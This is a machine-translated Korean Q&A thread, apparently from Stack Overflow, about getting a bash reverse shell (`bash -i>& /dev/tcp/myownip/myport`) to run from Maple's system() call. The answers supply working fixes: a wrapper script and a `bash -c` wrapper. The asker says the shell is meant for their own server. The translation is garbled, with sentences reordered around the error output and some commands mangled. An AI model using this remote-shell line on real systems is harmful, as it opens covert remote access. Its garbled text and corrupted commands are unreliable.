2017-01-01 2 views
0
나는 단풍 나무 (바로 그러한 파이썬에서 os.system 등의 기능처럼 작동 system 기능)에서 다음 명령을 실행하고

그러나배쉬 : & : 그런 파일이나 디렉토리

system("bash -i>& /dev/tcp/myownip/myport 0>&1 2>&1") 

, 그것은 실패하지 그리고 이것은이다 출력 :

이상한 것은 터미널에서 호출 할 때 명령이 잘 작동한다는 것입니다
bash: no job control in this shell bash: &: No such file or directory 
Exit Value: 127 

...

나는이 문제를 해결할 수있는 방법의 어떤 제안?

+0

당신이하고 싶은 것을 설명 할 수 있습니까? 나에게 xy 문제처럼 들린다. –

+0

단지 오류없이 명령을 실행할 수 있기를 원합니다 ... 그리고 그것을 실행하려는 이유는 내 서버에 대화식 bash 세션을 전송하기위한 것입니다. –

+0

maple이라는 소프트웨어에 입력하는 명령을 정확하게 입력하십시오. 추가 정보없이이 신비한 단풍 나무 소프트웨어가 무엇인지 모른 채, 우리는 당신을 도울 수 없을 것입니다. –

답변

0

"작업 제어 없음"은 대화 형 셸을 실행할 때 백그라운드 작업을 포 그라운드로 가져올 수 없다는 것을 의미합니다.

두 번째 오류 메시지의 표현에 대한 분석에 초점을 맞출 것입니다. 우리는 그것으로부터 bash이 실행 중임을 압니다. 내 생각 엔 Maple (bash에서 > WORD 구문의 의미를 알지 못함)은 공백을 따라 문자열을 토큰 화 한 다음 execv("bash", "bash", "-i>0", "/dev/tcp/myownip/myport")과 같은 작업을 수행합니다. 최소한 이것은 오류 메시지를 설명합니다.

다음을 시도해 볼 수 있습니까? 이 같은 독립형 두 줄 bash는 스크립트 작성 :

#!/usr/bin/bash 
bash -i>& /dev/tcp/myownip/myport 0>&1 2>&1 

설정이 실행 파일을 다음

system("yourpath/yourscript") 

적어도 오류 메시지 해당 파일 또는 디렉터리와 단풍 나무에서 호출을 삭제해야합니다.

+0

좋은 하나! 이 시도는 효과적이지만 이상적으로는 'system'명령에서 필요한 모든 명령을 실행합니다. 그렇게 할 방법이 있다고 생각합니까 아니면 스크립트를 작성하여 지금은 유일한 방법으로 실행하고 있습니까? 감사합니다 :-) 감사합니다! –

+0

문제는 * 전체 문자열 *'bash -i> 및/dev/tcp/myownip/myport 0> & 1 2> & 1'가 bash 명령으로 해석된다는 것입니다. Maple은 어떻게 든 시스템 명령이 bash에 의해 실행된다는 것을 '알고있다'). 대화 형 C 쉘을 사용하고이 명령을 실행하면 같은 문제가 발생합니다. C-Shell은 사용중인 리디렉션 연산자에 대해 알지 못하므로 bash 실행 파일은 ** 리디렉션이 설정 된 후에 만 ​​시작됩니다. – user1934428

+0

@ThatGuy : 당신이 시도 할 수있는 한가지는 모든 다른 하나의 bash 호출로 감싸는 것입니다 :'system ("bash -c 'bash -i> &/dev/tcp/myownip/myport 0> & 1 2> & 1'") '. 바깥 쪽은 bash가 실행 중인지 확인하고, 전체 "내부"명령은 bash에 인수로 전달됩니다. 이것이 작동하지 않는다면, 나는 Maple이'system' 명령을 구현하는 방식으로 해결책을 찾을 수있을 것으로 기대합니다. 결국, 당신은 꽤 특별한 것을하고 있습니다. 불행히도, 나는 메이플을 모른다. 그리고 이것에 대해 논평 할 수 없다. – user1934428

관련 문제